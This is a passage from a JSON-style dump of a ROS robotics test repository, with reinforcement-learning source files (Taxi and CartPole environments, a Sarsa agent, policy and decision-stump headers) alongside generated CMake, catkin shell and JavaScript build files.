ns(s[0]),\n ew(s[1]),\n pass(s[2]),\n dest(s[3])\n{\n reset();\n}\n\nTaxi::Taxi(Random &rand, bool stochastic):\n grid(create_default_map()),\n landmarks(defaultlandmarks),\n noisy(stochastic),\n rng(rand),\n s(4),\n ns(s[0]),\n ew(s[1]),\n pass(s[2]),\n dest(s[3])\n{\n reset();\n}\n\nTaxi::Taxi(Random &rand, unsigned width, unsigned height, bool stochastic):\n grid(new Gridworld(height, width, rand)),\n landmarks(4), noisy(stochastic), rng(rand),\n s(4),\n ns(s[0]),\n ew(s[1]),\n pass(s[2]),\n dest(s[3])\n{\n randomize_landmarks_to_corners();\n reset();\n}\n\nTaxi::~Taxi() { delete grid; }\n\nconst std::vector<float> &Taxi::sensation() const { return s; }\n\nfloat Taxi::apply(int action) {\n const taxi_action_t effect =\n noisy\n ? add_noise(static_cast<taxi_action_t>(action))\n : static_cast<taxi_action_t>(action);\n switch(effect) {\n case NORTH:\n if (!grid->wall(static_cast<unsigned>(ns),\n static_cast<unsigned>(ew),\n effect))\n {\n ++ns;\n apply_fickle_passenger();\n }\n return -1;\n case SOUTH:\n if (!grid->wall(static_cast<unsigned>(ns),\n static_cast<unsigned>(ew),\n effect))\n {\n --ns;\n apply_fickle_passenger();\n }\n return -1;\n case EAST:\n if (!grid->wall(static_cast<unsigned>(ns),\n static_cast<unsigned>(ew),\n effect))\n {\n ++ew;\n apply_fickle_passenger();\n }\n return -1;\n case WEST:\n if (!grid->wall(static_cast<unsigned>(ns),\n static_cast<unsigned>(ew),\n effect))\n {\n --ew;\n apply_fickle_passenger();\n }\n return -1;\n case PICKUP: {\n if (pass < landmarks.size()\n && coord_t(ns,ew) == landmarks[static_cast<unsigned>(pass)])\n {\n pass = landmarks.size();\n fickle = noisy;\n return -1;\n } else\n return -10;\n }\n case PUTDOWN:\n if (pass == landmarks.size()\n && coord_t(ns,ew) == landmarks[static_cast<unsigned>(dest)]) {\n pass = dest;\n return 20;\n } else\n return -10;\n }\n std::cerr << \"Unreachable point reached in Taxi::apply!!!\\n\";\n return 0; // unreachable, I hope\n}\n\nbool Taxi::terminal() const {\n return pass == dest;\n}\n\nvoid Taxi::reset() {\n ns = rng.uniformDiscrete(1, grid->height()) - 1;\n ew = rng.uniformDiscrete(1, grid->width()) - 1;\n pass = rng.uniformDiscrete(1, landmarks.size()) - 1;\n do dest = rng.uniformDiscrete(1, landmarks.size()) - 1;\n while (dest == pass);\n fickle = false;\n}\n\n\n\nint Taxi::getNumActions() {\n return 6;\n}\n\n\nconst Gridworld *Taxi::create_default_map() {\n std::vector<std::vector<bool> > nsv(5, std::vector<bool>(4,false));\n std::vector<std::vector<bool> > ewv(5, std::vector<bool>(4,false));\n ewv[0][0] = true;\n ewv[0][2] = true;\n ewv[1][0] = true;\n ewv[1][2] = true;\n ewv[3][1] = true;\n ewv[4][1] = true;\n return new Gridworld(5,5,nsv,ewv);\n}\n\nTaxi::taxi_action_t Taxi::add_noise(taxi_action_t action) {\n switch(action) {\n case NORTH:\n case SOUTH:\n return rng.bernoulli(0.8) ? action : (rng.bernoulli(0.5) ? EAST : WEST);\n case EAST:\n case WEST:\n return rng.bernoulli(0.8) ? action : (rng.bernoulli(0.5) ? NORTH : SOUTH);\n default:\n return action;\n }\n}\n\nvoid Taxi::apply_fickle_passenger() {\n\n if (fickle) {\n fickle = false;\n if (rng.bernoulli(0.3)) {\n dest += rng.uniformDiscrete(1, landmarks.size() - 1);\n dest = static_cast<int>(dest) % landmarks.size();\n }\n }\n\n}\n\nvoid Taxi::randomize_landmarks() {\n std::vector<unsigned> indices(landmarks.size());\n const unsigned n = grid->height() * grid->width();\n for (unsigned i = 0; i < indices.size(); ++i) {\n unsigned index;\n bool duplicate;\n do {\n index = rng.uniformDiscrete(1,n) - 1;\n duplicate = false;\n for (unsigned j = 0; j < i; ++j)\n if (index == indices[j])\n duplicate = true;\n } while (duplicate);\n indices[i] = index;\n }\n for (unsigned i = 0; i < indices.size(); ++i)\n landmarks[i] = coord_t(indices[i] / grid->width(),\n indices[i] % grid->width());\n}\n\nvoid Taxi::randomize_landmarks_to_corners() {\n for (unsigned i = 0; i < landmarks.size(); ++i) {\n int ns = rng.uniformDiscrete(0,1);\n int ew = rng.uniformDiscrete(0,1);\n if (1 == i/2)\n ns = grid->height() - ns - 1;\n if (1 == i%2)\n ew = grid->width() - ew - 1;\n landmarks[i] = coord_t(ns,ew);\n }\n}\n\n\nvoid Taxi::setSensation(std::vector<float> newS){\n if (s.size() != newS.size()){\n cerr << \"Error in sensation sizes\" << endl;\n }\n\n for (unsigned i = 0; i < newS.size(); i++){\n s[i] = (int)newS[i];\n }\n}\n\nstd::vector<experience> Taxi::getSeedings() {\n\n // return seedings\n std::vector<experience> seeds;\n\n if (true)\n return seeds;\n // REMOVE THIS TO USE SEEDINGS\n\n // single seed for each of 4 drop off and pickup cases\n for (int i = 0; i < 4; i++){\n // drop off\n seeds.push_back(getExp(landmarks[i].first, landmarks[i].second, 4, i, PUTDOWN));\n // pick up\n seeds.push_back(getExp(landmarks[i].first, landmarks[i].second, i, rng.uniformDiscrete(0,3), PICKUP));\n }\n\n reset();\n\n return seeds;\n\n}\n\nexperience Taxi::getExp(float s0, float s1, float s2, float s3, int a){\n\n experience e;\n\n e.s.resize(4, 0.0);\n e.next.resize(4, 0.0);\n\n ns = s0;\n ew = s1;\n pass = s2;\n dest = s3;\n\n e.act = a;\n e.s = sensation();\n e.reward = apply(e.act);\n\n e.terminal = terminal();\n e.next = sensation();\n\n return e;\n}\n\n\nvoid Taxi::getMinMaxFeatures(std::vector<float> *minFeat,\n std::vector<float> *maxFeat){\n\n minFeat->resize(s.size(), 0.0);\n maxFeat->resize(s.size(), 1.0);\n\n (*minFeat)[0] = 0.0;\n (*maxFeat)[0] = 4.0;\n (*minFeat)[1] = 0.0;\n (*maxFeat)[1] = 4.0;\n (*minFeat)[2] = 0.0;\n (*maxFeat)[2] = 4.0;\n (*minFeat)[3] = 0.0;\n (*maxFeat)[3] = 3.0;\n\n}\n\nvoid Taxi::getMinMaxReward(float *minR,\n float *maxR){\n\n *minR = -10.0;\n *maxR = 20.0;\n\n}\n" }, { "alpha_fraction": 0.7567567825317383, "alphanum_fraction": 0.7567567825317383, "avg_line_length": 32.29999923706055, "blob_id": "6f94022d1f9f61740962da06206a3817e3a2a8e8", "content_id": "993ab6cbb787a97503513274471cc0195c54ac50", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 333, "license_type": "no_license", "max_line_length": 70, "num_lines": 10, "path": "/build/mybot_cpp/CMakeFiles/mybot_cpp.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/mybot_cpp.dir/pub.cpp.o\"\n \"/home/justin/ros_test/devel/lib/mybot_cpp/mybot_cpp.pdb\"\n \"/home/justin/ros_test/devel/lib/mybot_cpp/mybot_cpp\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/mybot_cpp.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7931309938430786, "alphanum_fraction": 0.8011181950569153, "avg_line_length": 72.70587921142578, "blob_id": "922a455502648a0ba52cade1639c1ef3385a4a26", "content_id": "6cb7209c8c928c43d04ae8a3e7f726379dffd073", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1252, "license_type": "no_license", "max_line_length": 188, "num_lines": 17, "path": "/src/hector_example/catkin_generated/setup_cached.sh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#!/usr/bin/env sh\n# generated from catkin/python/catkin/environment_cache.py\n\n# based on a snapshot of the environment before and after calling the setup script\n# it emulates the modifications of the setup script without recurring computations\n\n# new environment variables\n\n# modified environment variables\nexport CMAKE_PREFIX_PATH=\"/home/jman/ros/src/ugv_course/hector_example/devel:$CMAKE_PREFIX_PATH\"\nexport CPATH=\"/home/jman/ros/src/ugv_course/hector_example/devel/include:$CPATH\"\nexport LD_LIBRARY_PATH=\"/home/jman/ros/src/ugv_course/hector_example/devel/lib:/home/jman/ros/src/ugv_course/hector_example/devel/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH\"\nexport PATH=\"/home/jman/ros/src/ugv_course/hector_example/devel/bin:$PATH\"\nexport PKG_CONFIG_PATH=\"/home/jman/ros/src/ugv_course/hector_example/devel/lib/pkgconfig:/home/jman/ros/src/ugv_course/hector_example/devel/lib/x86_64-linux-gnu/pkgconfig:$PKG_CONFIG_PATH\"\nexport PYTHONPATH=\"/home/jman/ros/src/ugv_course/hector_example/devel/lib/python2.7/dist-packages:$PYTHONPATH\"\nexport ROSLISP_PACKAGE_DIRECTORIES=\"/home/jman/ros/src/ugv_course/hector_example/devel/share/common-lisp:$ROSLISP_PACKAGE_DIRECTORIES\"\nexport ROS_PACKAGE_PATH=\"/home/jman/ros/src/ugv_course/hector_example:$ROS_PACKAGE_PATH\"" }, { "alpha_fraction": 0.5320783853530884, "alphanum_fraction": 0.5386093258857727, "avg_line_length": 24.513071060180664, "blob_id": "28b17c3283fb34e1704f4e1890e244e45e9c6686", "content_id": "07a400ed2d86ebf50b74d52f1df9936fdaa6f027", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7809, "license_type": "no_license", "max_line_length": 144, "num_lines": 306, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Agent/Sarsa.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <rl_agent/Sarsa.hh>\n#include <algorithm>\n\nSarsa::Sarsa(int numactions, float gamma,\n float initialvalue, float alpha, float ep, float lambda,\n Random rng):\n numactions(numactions), gamma(gamma),\n initialvalue(initialvalue), alpha(alpha),\n epsilon(ep), lambda(lambda),\n rng(rng)\n{\n\n currentq = NULL;\n ACTDEBUG = false; //true; //false;\n ELIGDEBUG = false;\n\n}\n\nSarsa::~Sarsa() {}\n\nint Sarsa::first_action(const std::vector<float> &s) {\n\n if (ACTDEBUG){\n cout << \"First - in state: \";\n printState(s);\n cout << endl;\n }\n\n // clear all eligibility traces\n for (std::map<state_t, std::vector<float> >::iterator i = eligibility.begin();\n i != eligibility.end(); i++){\n\n std::vector<float> & elig_s = (*i).second;\n for (int j = 0; j < numactions; j++){\n elig_s[j] = 0.0;\n }\n }\n\n // Get action values\n state_t si = canonicalize(s);\n std::vector<float> &Q_s = Q[si];\n\n // Choose an action\n const std::vector<float>::iterator a =\n rng.uniform() < epsilon\n ? Q_s.begin() + rng.uniformDiscrete(0, numactions - 1) // Choose randomly\n : random_max_element(Q_s.begin(), Q_s.end()); // Choose maximum\n\n // set eligiblity to 1\n std::vector<float> &elig_s = eligibility[si];\n elig_s[a-Q_s.begin()] = 1.0;\n\n if (ACTDEBUG){\n cout << \" act: \" << (a-Q_s.begin()) << \" val: \" << *a << endl;\n for (int iAct = 0; iAct < numactions; iAct++){\n cout << \" Action: \" << iAct \n\t << \" val: \" << Q_s[iAct] << endl;\n }\n cout << \"Took action \" << (a-Q_s.begin()) << \" from state \";\n printState(s);\n cout << endl;\n }\n\n return a - Q_s.begin();\n}\n\nint Sarsa::next_action(float r, const std::vector<float> &s) {\n\n if (ACTDEBUG){\n cout << \"Next: got reward \" << r << \" in state: \";\n printState(s);\n cout << endl;\n }\n\n // Get action values\n state_t st = canonicalize(s);\n std::vector<float> &Q_s = Q[st];\n const std::vector<float>::iterator max =\n random_max_element(Q_s.begin(), Q_s.end());\n\n // Choose an action\n const std::vector<float>::iterator a =\n rng.uniform() < epsilon\n ? Q_s.begin() + rng.uniformDiscrete(0, numactions - 1)\n : max;\n\n // Update value for all with positive eligibility\n for (std::map<state_t, std::vector<float> >::iterator i = eligibility.begin();\n i != eligibility.end(); i++){\n\n state_t si = (*i).first;\n std::vector<float> & elig_s = (*i).second;\n for (int j = 0; j < numactions; j++){\n if (elig_s[j] > 0.0){\n if (ELIGDEBUG) {\n cout << \"updating state \" << (*((*i).first))[0] << \", \" << (*((*i).first))[1] << \" act: \" << j << \" with elig: \" << elig_s[j] << endl;\n }\n // update\n Q[si][j] += alpha * elig_s[j] * (r + gamma * (*a) - Q[si][j]);\n elig_s[j] *= lambda;\n }\n }\n \n }\n\n // Set elig to 1\n eligibility[st][a-Q_s.begin()] = 1.0;\n\n if (ACTDEBUG){\n cout << \" act: \" << (a-Q_s.begin()) << \" val: \" << *a << endl;\n for (int iAct = 0; iAct < numactions; iAct++){\n cout << \" Action: \" << iAct \n\t << \" val: \" << Q_s[iAct] << endl;\n }\n cout << \"Took action \" << (a-Q_s.begin()) << \" from state \";\n printState(s);\n cout << endl;\n }\n\n return a - Q_s.begin();\n}\n\nvoid Sarsa::last_action(float r) {\n\n if (ACTDEBUG){\n cout << \"Last: got reward \" << r << endl;\n }\n\n // Update value for all with positive eligibility\n for (std::map<state_t, std::vector<float> >::iterator i = eligibility.begin();\n i != eligibility.end(); i++){\n \n state_t si = (*i).first;\n std::vector<float> & elig_s = (*i).second;\n for (int j = 0; j < numactions; j++){\n if (elig_s[j] > 0.0){\n if (ELIGDEBUG){\n cout << \"updating state \" << (*((*i).first))[0] << \", \" << (*((*i).first))[1] << \" act: \" << j << \" with elig: \" << elig_s[j] << endl;\n }\n // update\n Q[si][j] += alpha * elig_s[j] * (r - Q[si][j]);\n elig_s[j] = 0.0;\n }\n } \n }\n \n}\n\nSarsa::state_t Sarsa::canonicalize(const std::vector<float> &s) {\n const std::pair<std::set<std::vector<float> >::iterator, bool> result =\n statespace.insert(s);\n state_t retval = &*result.first; // Dereference iterator then get pointer \n if (result.second) { // s is new, so initialize Q(s,a) for all a\n std::vector<float> &Q_s = Q[retval];\n Q_s.resize(numactions,initialvalue);\n std::vector<float> &elig = eligibility[retval];\n elig.resize(numactions,0);\n }\n return retval; \n}\n\n\n\n std::vector<float>::iterator\nSarsa::random_max_element(\n\t\t\t std::vector<float>::iterator start,\n\t\t\t std::vector<float>::iterator end) {\n\n std::vector<float>::iterator max =\n std::max_element(start, end);\n int n = std::count(max, end, *max);\n if (n > 1) {\n n = rng.uniformDiscrete(1, n);\n while (n > 1) {\n max = std::find(max + 1, end, *max);\n --n;\n }\n }\n return max;\n}\n\n\n\n\nvoid Sarsa::setDebug(bool d){\n ACTDEBUG = d;\n}\n\n\nvoid Sarsa::printState(const std::vector<float> &s){\n for (unsigned j = 0; j < s.size(); j++){\n cout << s[j] << \", \";\n }\n}\n\n\n\nvoid Sarsa::seedExp(std::vector<experience> seeds){\n\n // for each seeding experience, update our model\n for (unsigned i = 0; i < seeds.size(); i++){\n experience e = seeds[i];\n \n std::vector<float> &Q_s = Q[canonicalize(e.s)];\n \n // Get q value for action taken\n const std::vector<float>::iterator a = Q_s.begin() + e.act;\n\n // Update value of action just executed\n Q_s[e.act] += alpha * (e.reward + gamma * (*a) - Q_s[e.act]);\n \n \n /*\n cout << \"Seeding with experience \" << i << endl;\n cout << \"last: \" << (e.s)[0] << \", \" << (e.s)[1] << \", \" \n\t << (e.s)[2] << endl;\n cout << \"act: \" << e.act << \" r: \" << e.reward << endl;\n cout << \"next: \" << (e.next)[0] << \", \" << (e.next)[1] << \", \" \n\t << (e.next)[2] << \", \" << e.terminal << endl;\n cout << \"Q: \" << *currentq << \" max: \" << *max << endl;\n */\n\n }\n\n\n}\n\nvoid Sarsa::logValues(ofstream *of, int xmin, int xmax, int ymin, int ymax){\n std::vector<float> s;\n s.resize(2, 0.0);\n for (int i = xmin ; i < xmax; i++){\n for (int j = ymin; j < ymax; j++){\n s[0] = j;\n s[1] = i;\n std::vector<float> &Q_s = Q[canonicalize(s)];\n const std::vector<float>::iterator max =\n random_max_element(Q_s.begin(), Q_s.end());\n *of << (*max) << \",\";\n }\n }\n}\n\n\nfloat Sarsa::getValue(std::vector<float> state){\n\n state_t s = canonicalize(state);\n\n // Get Q values\n std::vector<float> &Q_s = Q[s];\n\n // Choose an action\n const std::vector<float>::iterator a =\n random_max_element(Q_s.begin(), Q_s.end()); // Choose maximum\n\n // Get avg value\n float valSum = 0.0;\n float cnt = 0;\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n\n // get state's info\n std::vector<float> &Q_s = Q[s];\n \n for (int j = 0; j < numactions; j++){\n valSum += Q_s[j];\n cnt++;\n }\n }\n\n cout << \"Avg Value: \" << (valSum / cnt) << endl;\n\n return *a;\n}\n\n\nvoid Sarsa::savePolicy(const char* filename){\n\n ofstream policyFile(filename, ios::out | ios::binary | ios::trunc);\n\n // first part, save the vector size\n std::set< std::vector<float> >::iterator i = statespace.begin();\n int fsize = (*i).size();\n policyFile.write((char*)&fsize, sizeof(int));\n\n // save numactions\n policyFile.write((char*)&numactions, sizeof(int));\n\n // go through all states, and save Q values\n for (std::set< std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n std::vector<float> *Q_s = &(Q[s]);\n\n // save state\n policyFile.write((char*)&((*i)[0]), sizeof(float)*fsize);\n\n // save q-values\n policyFile.write((char*)&((*Q_s)[0]), sizeof(float)*numactions);\n\n }\n\n policyFile.close();\n}\n\n\n" }, { "alpha_fraction": 0.7650602459907532, "alphanum_fraction": 0.7710843086242676, "avg_line_length": 40.5625, "blob_id": "33551b996deb4a0055d4f4f4d1bb37c33bb8da23", "content_id": "ff838ccb4b73a5486cd557e81063004350d34a23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 664, "license_type": "no_license", "max_line_length": 49, "num_lines": 16, "path": "/build/ugv_course_gazebo/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"ugv_course_gazebo\")\nset(ugv_course_gazebo_VERSION \"0.0.0\")\nset(ugv_course_gazebo_MAINTAINER \"abc <[email protected]>\")\nset(ugv_course_gazebo_PACKAGE_FORMAT \"1\")\nset(ugv_course_gazebo_BUILD_DEPENDS )\nset(ugv_course_gazebo_BUILD_EXPORT_DEPENDS )\nset(ugv_course_gazebo_BUILDTOOL_DEPENDS \"catkin\")\nset(ugv_course_gazebo_BUILDTOOL_EXPORT_DEPENDS )\nset(ugv_course_gazebo_EXEC_DEPENDS )\nset(ugv_course_gazebo_RUN_DEPENDS )\nset(ugv_course_gazebo_TEST_DEPENDS )\nset(ugv_course_gazebo_DOC_DEPENDS )\nset(ugv_course_gazebo_URL_WEBSITE \"\")\nset(ugv_course_gazebo_URL_BUGTRACKER \"\")\nset(ugv_course_gazebo_URL_REPOSITORY \"\")\nset(ugv_course_gazebo_DEPRECATED \"\")" }, { "alpha_fraction": 0.7676348686218262, "alphanum_fraction": 0.7676348686218262, "avg_line_length": 31.066667556762695, "blob_id": "e7708c1545a29cb65ed5528b1b09049f2715b18a", "content_id": "ccdc9331e4d934900885a391b12188b1e12be3ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 482, "license_type": "no_license", "max_line_length": 62, "num_lines": 15, "path": "/devel/share/gennodejs/ros/rl_msgs/msg/_index.js", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "\n\"use strict\";\n\nlet RLStateReward = require('./RLStateReward.js');\nlet RLAction = require('./RLAction.js');\nlet RLEnvDescription = require('./RLEnvDescription.js');\nlet RLExperimentInfo = require('./RLExperimentInfo.js');\nlet RLEnvSeedExperience = require('./RLEnvSeedExperience.js');\n\nmodule.exports = {\n RLStateReward: RLStateReward,\n RLAction: RLAction,\n RLEnvDescription: RLEnvDescription,\n RLExperimentInfo: RLExperimentInfo,\n RLEnvSeedExperience: RLEnvSeedExperience,\n};\n" }, { "alpha_fraction": 0.7051349878311157, "alphanum_fraction": 0.7051349878311157, "avg_line_length": 27.621212005615234, "blob_id": "66eac39e7f2043d27c101c9a846d8fb6e3280955", "content_id": "299a671d821f68cf22409c0d891128a517a4fcf1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1889, "license_type": "no_license", "max_line_length": 70, "num_lines": 66, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/include/rl_agent/SavedPolicy.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file\n Interface for an implementation of the saved policy\n algorithm. */\n\n#ifndef _SAVEDPOLICY_HH_\n#define _SAVEDPOLICY_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n\n#include <map>\n#include <set>\n#include <vector>\n\n/** Agent that uses a saved policy from a file. */\nclass SavedPolicy: public Agent {\npublic:\n /** Standard constructor\n \\param numactions The number of possible actions\n */\n SavedPolicy(int numactions, const char* filename);\n\n virtual ~SavedPolicy();\n\n virtual int first_action(const std::vector<float> &s);\n virtual int next_action(float r, const std::vector<float> &s);\n virtual void last_action(float r);\n virtual void setDebug(bool d) {};\n virtual void seedExp(std::vector<experience>);\n\n void loadPolicy(const char* filename);\n\nprotected:\n /** The implementation maps all sensations to a set of canonical\n pointers, which serve as the internal representation of\n environment state. */\n typedef const std::vector<float> *state_t;\n\n /** Produces a canonical representation of the given sensation.\n \\param s The current sensation from the environment.\n \\return A pointer to an equivalent state in statespace. */\n state_t canonicalize(const std::vector<float> &s);\n void printState(const std::vector<float> &s);\n\n\nprivate:\n /** Set of all distinct sensations seen. Pointers to elements of\n this set serve as the internal representation of the environment\n state. */\n std::set<std::vector<float> > statespace;\n\n /** The primary data structure of the learning algorithm, the value\n function Q. For state_t s and int a, Q[s][a] gives the\n learned maximum expected future discounted reward conditional on\n executing action a in state s. */\n std::map<state_t, std::vector<float> > Q;\n\n const int numactions;\n\n bool ACTDEBUG;\n bool LOADDEBUG;\n bool loaded;\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.6567164063453674, "alphanum_fraction": 0.6641790866851807, "avg_line_length": 15.75, "blob_id": "c77a61c084810b6bf527c08a803d2a3904d65f3d", "content_id": "e8ecaf547f34d5f8538b16c639340ec8f0832f97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 134, "license_type": "no_license", "max_line_length": 30, "num_lines": 8, "path": "/src/turtlebot3_ddpg/nodes/test.py", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "import rospy\n \nrospy.init_node('test')\nrate = rospy.Rate(1)\n \nwhile not rospy.is_shutdown():\n print \"Hello there\"\n rate.sleep()\n" }, { "alpha_fraction": 0.6922787427902222, "alphanum_fraction": 0.6952918767929077, "avg_line_length": 22.469026565551758, "blob_id": "44d481bd7625faf70828cee5213d2cc701a90370", "content_id": "915294e5436094fd7bfae97c82bbdc19d3259520", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2655, "license_type": "no_license", "max_line_length": 89, "num_lines": 113, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/Stump.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _STUMP_HH_\n#define _STUMP_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include <vector>\n#include <set>\n#include <map>\n\n#define N_STUMP_EXP 250000\n\n/** C4.5 decision stump class */\nclass Stump: public Classifier {\n\npublic:\n\n // mode - re-build stump every step? \n // re-build only on misclassifications? or rebuild every 'trainFreq' steps\n Stump(int id, int trainMode, int trainFreq, int m, float featPct, Random rng);\n\n Stump(const Stump&);\n virtual Stump* getCopy();\n\n ~Stump();\n\n // structs to be defined\n struct stump_experience;\n \n struct stump_experience {\n std::vector<float> input;\n float output;\n int id;\n };\n \n enum splitTypes{\n ONLY,\n CUT\n };\n\n bool trainInstances(std::vector<classPair> &instances);\n bool trainInstance(classPair &instance);\n void testInstance(const std::vector<float> &input, std::map<float, float>* retval);\n float getConf(const std::vector<float> &input);\n\n void buildStump();\n\n // helper functions\n void initStump();\n bool passTest(int dim, float val, int type, const std::vector<float> &input);\n float calcGainRatio(int dim, float val, int type,float I);\n float* sortOnDim(int dim);\n float calcIofP(float* P, int size);\n float calcIforSet(const std::vector<stump_experience*> &instances);\n void printStump();\n void testPossibleSplits(float *bestGainRatio, int *bestDim, \n\t\t\t float *bestVal, int *bestType);\n void implementSplit(float bestGainRatio, int bestDim,\n\t\t float bestVal, int bestType);\n void compareSplits(float gainRatio, int dim, float val, int type, \n\t\t int *nties, float *bestGainRatio, int *bestDim, \n\t\t float *bestVal, int *bestType);\n //std::vector<float> calcChiSquare(std::vector<stump_experience*> instances);\n void outputProbabilities(std::multiset<float> outputs, std::map<float, float>* retval);\n int findMatching(const std::vector<stump_experience*> &instances, int dim, \n\t\t int val, int minConf);\n\n void setParams(float margin, float forestPct, float minRatio);\n\n bool ALLOW_ONLY_SPLITS;\n\n bool STDEBUG;\n bool SPLITDEBUG;\n int nExperiences;\n\n float SPLIT_MARGIN;\n float MIN_GAIN_RATIO; \n float REBUILD_RATIO;\n float LOSS_MARGIN;\n\nprivate:\n\n const int id;\n \n const int mode;\n const int freq;\n const int M;\n float featPct;\n\n Random rng;\n\n int nOutput;\n int nnodes;\n\n // INSTANCES\n std::vector<stump_experience*> experiences;\n stump_experience allExp[N_STUMP_EXP];\n\n // split criterion\n int dim;\n float val;\n int type;\n float gainRatio;\n \n // set of all outputs seen at this leaf/node\n std::multiset<float> leftOutputs;\n std::multiset<float> rightOutputs;\n\n\n\n};\n\n\n#endif\n \n" }, { "alpha_fraction": 0.760869562625885, "alphanum_fraction": 0.782608687877655, "avg_line_length": 16.125, "blob_id": "71f830936db45e55473cfca0e70d21c8e4b9d999", "content_id": "8ff6323440fff85b6a3c953b185aea2bd479981a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 138, "license_type": "no_license", "max_line_length": 39, "num_lines": 8, "path": "/src/roundbot_gazebo/CMakeLists.txt", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 2.8.3)\nproject(roundbot_gazebo)\n\nfind_package(catkin REQUIRED COMPONENTS\n gazebo_ros\n)\n\ncatkin_package()\n\n" }, { "alpha_fraction": 0.7785016298294067, "alphanum_fraction": 0.7882736325263977, "avg_line_length": 33.11111068725586, "blob_id": "b77d892c7ef8a2d120f9f09c6c268ffb03583462", "content_id": "b3a02c245a926e74a02b9ada3e2e8aef9d658382", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 307, "license_type": "no_license", "max_line_length": 92, "num_lines": 9, "path": "/build/homework2/CMakeFiles/homework2_generate_messages_cpp.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/homework2_generate_messages_cpp\"\n \"/home/justin/ros_test/devel/include/homework2/string_cat.h\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang )\n include(CMakeFiles/homework2_generate_messages_cpp.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.5395956039428711, "alphanum_fraction": 0.5796124935150146, "avg_line_length": 18.068273544311523, "blob_id": "35b163dec61079aab406487cb3fb69c51534dd31", "content_id": "38e65a56e2635a82c54acbaa1382368801b19e5a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4748, "license_type": "no_license", "max_line_length": 124, "num_lines": 249, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/CartPole.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file CartPole.cc\n Implements the Cart-Pole balancing domain, with possible noise.\n \\author Todd Hester\n*/\n\n#include <rl_env/CartPole.hh>\n\n \nCartPole::CartPole(Random &rand):\n noisy(false),\n rng(rand),\n s(4),\n cartPos(s[0]),\n cartVel(s[1]),\n poleAngle(s[2]),\n poleVel(s[3])\n{\n reset();\n //cout << *this << endl;\n}\n \n\nCartPole::CartPole(Random &rand, bool stochastic):\n noisy(stochastic),\n rng(rand),\n s(4),\n cartPos(s[0]),\n cartVel(s[1]),\n poleAngle(s[2]),\n poleVel(s[3])\n{\n reset();\n}\n\n\nCartPole::~CartPole() { }\n\nconst std::vector<float> &CartPole::sensation() const { \n //cout << \"At state \" << s[0] << \", \" << s[1] << endl;\n\n return s; \n}\n\n\nfloat CartPole::transition(float force){\n\n // transition\n\n float xacc;\n float thetaacc;\n float costheta;\n float sintheta;\n float temp;\n \n //Noise of 1.0 means possibly halfway to opposite action\n if (noisy){\n float thisNoise=1.0*FORCE_MAG*(rng.uniform(-0.5, 0.5)); \n force+=thisNoise;\n }\n\n costheta = cos(poleAngle);\n sintheta = sin(poleAngle);\n\n temp = (force + POLEMASS_LENGTH * poleVel * poleVel * sintheta) / TOTAL_MASS;\n\n thetaacc = (GRAVITY * sintheta - costheta * temp) / (LENGTH * (FOURTHIRDS - MASSPOLE * costheta * costheta / TOTAL_MASS));\n\n xacc = temp - POLEMASS_LENGTH * thetaacc * costheta / TOTAL_MASS;\n\n // Update the four state variables, using Euler's method. \n cartPos += TAU * cartVel;\n cartVel += TAU * xacc;\n poleAngle += TAU * poleVel;\n poleVel += TAU * thetaacc;\n \n // These probably never happen because the pole would crash \n while (poleAngle >= M_PI) {\n poleAngle -= 2.0 * M_PI;\n }\n while (poleAngle < -M_PI) {\n poleAngle += 2.0 * M_PI;\n }\n\n // dont velocities go past ranges\n if (fabs(cartVel) > 3){\n // cout << \"cart velocity out of range: \" << cartVel << endl;\n if (cartVel > 0)\n cartVel = 3;\n else\n cartVel = -3;\n }\n if 